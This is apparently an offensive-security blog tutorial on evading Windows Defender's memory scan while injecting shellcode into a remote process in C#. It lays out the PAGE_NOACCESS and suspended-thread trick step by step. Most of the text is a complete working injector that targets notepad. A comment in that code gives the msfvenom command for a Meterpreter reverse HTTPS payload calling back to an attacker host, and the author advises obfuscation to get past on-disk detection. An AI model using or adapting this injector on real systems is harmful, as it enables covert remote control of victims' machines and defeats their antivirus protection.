Windows Defender scans memory when functions such as CreateProcess and CreateRemoteThread are called. F-Secure have documented this behavior in their blog post here.
This causes problems injecting shellcode into a remote process. As previously covered, injecting into a remote process using PInvoke in C# is as simple as;
1 2 3 4 5 | IntPtr hProcess = OpenProcess(0x001F0FFF, false , pid); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); IntPtr outSize; WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); |
Unfortunately, when CreateRemoteThread is called the shellcode will be scanned by Defender, killing the process.
To get around this, we need to carry out the following steps;
- Get a handle to the target process. GetProcessesByName will work for this purpose.
- Open the target process using OpenProcess.
- Call VirtualAllocEx to allocate memory within the target process.
- Use WriteProcessMemory to copy our malicious code to the target.
- Call VirtualAllocEx again to set PAGE_NO_ACCESS on the area of memory.
- Use CreateRemoteThread to spawn a suspended thread.
- Wait for Defender to attempt to carry out it’s scanning, which will fail as it’s unable to read the memory.
- Use VirtualAllocEx (again!) to set the permissions back to PAGE_EXECUTE_READWRITE.
- Finally, call ResumeThread to start our thread.
The parameters to be passed to these functions are mostly covered in the previous post on process injection, with the following exceptions;
Creating a Suspended Thread
Creating a suspended requires us to set the dwCreationFlags
to 0x00000004 when calling CreateRemoteThread.
CREATE_SUSPENDED 0x00000004 | The thread is created in a suspended state, and does not run until the ResumeThread function is called. |
1 2 3 4 5 6 7 8 9 | HANDLE CreateRemoteThread( [in] HANDLE hProcess, [in] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in] LPVOID lpParameter, [in] DWORD dwCreationFlags, [out] LPDWORD lpThreadId ); |
Making the initial call to CreateRemoteThread;
1 | CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x00000004, out hThread); |
The thread can later be activated using ResumeThread(hThread).
Setting PAGE_NO_ACCESS
To mark the memory so it can’t be read by Defender, set the flNewProtect
argument to 0x01:
PAGE_NOACCESS 0x01 | Disables all access to the committed region of pages. An attempt to read from, write to, or execute the committed region results in an access violation. |
1 2 3 4 5 6 7 | BOOL VirtualProtectEx( [in] HANDLE hProcess, [in] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flNewProtect, [out] PDWORD lpflOldProtect ); |
Our call to VirtualProtectEx;
1 | VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x01, out uint lpflOldProtect); |
The below code will allow injecting a Meterpreter agent into memory avoiding scanning. There are two important things to note;
- If Meterpreter then attempts to migrate into another process or execute a system shell using CreateProcess/CreateRemoteThread that code will be scanning by defender and likely killed. You can however use the same C# code to migrate into other processes
- The code, particularly the P/Invoke statements will likely be detected by on disk Defender scanning. Use obfuscation as necessary…
Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 | using System; using System.Diagnostics; using System.Runtime.InteropServices; namespace ProcessInjection { internal class Program { [DllImport( "kernel32.dll" , SetLastError = true , ExactSpelling = true )] static extern IntPtr OpenProcess( uint processAccess, bool bInheritHandle, int processId); [DllImport( "kernel32.dll" , SetLastError = true , ExactSpelling = true )] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport( "kernel32.dll" )] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte [] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); //Below imports required to resume thread [DllImport( "kernel32.dll" )] static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport( "kernel32.dll" , SetLastError = true )] static extern uint ResumeThread(IntPtr hThread); [DllImport( "kernel32.dll" )] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId); static void Main( string [] args) { //msfvenom -p windows/x64/meterpreter/reverse_https LHOST=x.x.x.x LPORT=443 exitfunc=thread --format base64 string b64_payload = "/EiD5PDozAAAAEFRQ*SNIP*" ; byte [] buf = System.Convert.FromBase64String(b64_payload); // Get the target PID to inject into int pid = 0; try { Process[] expProc = Process.GetProcessesByName( "notepad" ); pid = expProc[0].Id; Console.WriteLine( "Target PID: " + pid.ToString()); } catch (Exception ex) { Console.WriteLine( "Error finding target PID: " + ex.ToString()); Environment.Exit(0); } //Inject! try { IntPtr hProcess = OpenProcess(0x001F0FFF, false , pid); IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); IntPtr outSize; WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); //Mark memory as PAGE_NO_ACCESS (0x1) VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x01, out uint lpflOldProtect); // Create suspended remote thread IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x00000004, out hThread); //Sleep whilst AV scans memory Console.WriteLine( "Sleeping..." ); System.Threading.Thread.Sleep(15000); // Mark memory as executable again; PAGE_EXECUTE_READWRITE (0x40) VirtualProtectEx(hProcess, addr, (UIntPtr)buf.Length, 0x40, out lpflOldProtect); Console.WriteLine( "Starting Thread..." ); // Resume Thread ResumeThread(hThread); } catch (Exception ex) { Console.WriteLine( "Error creating remote thread: " + ex.ToString()); } Console.ReadLine(); } } } |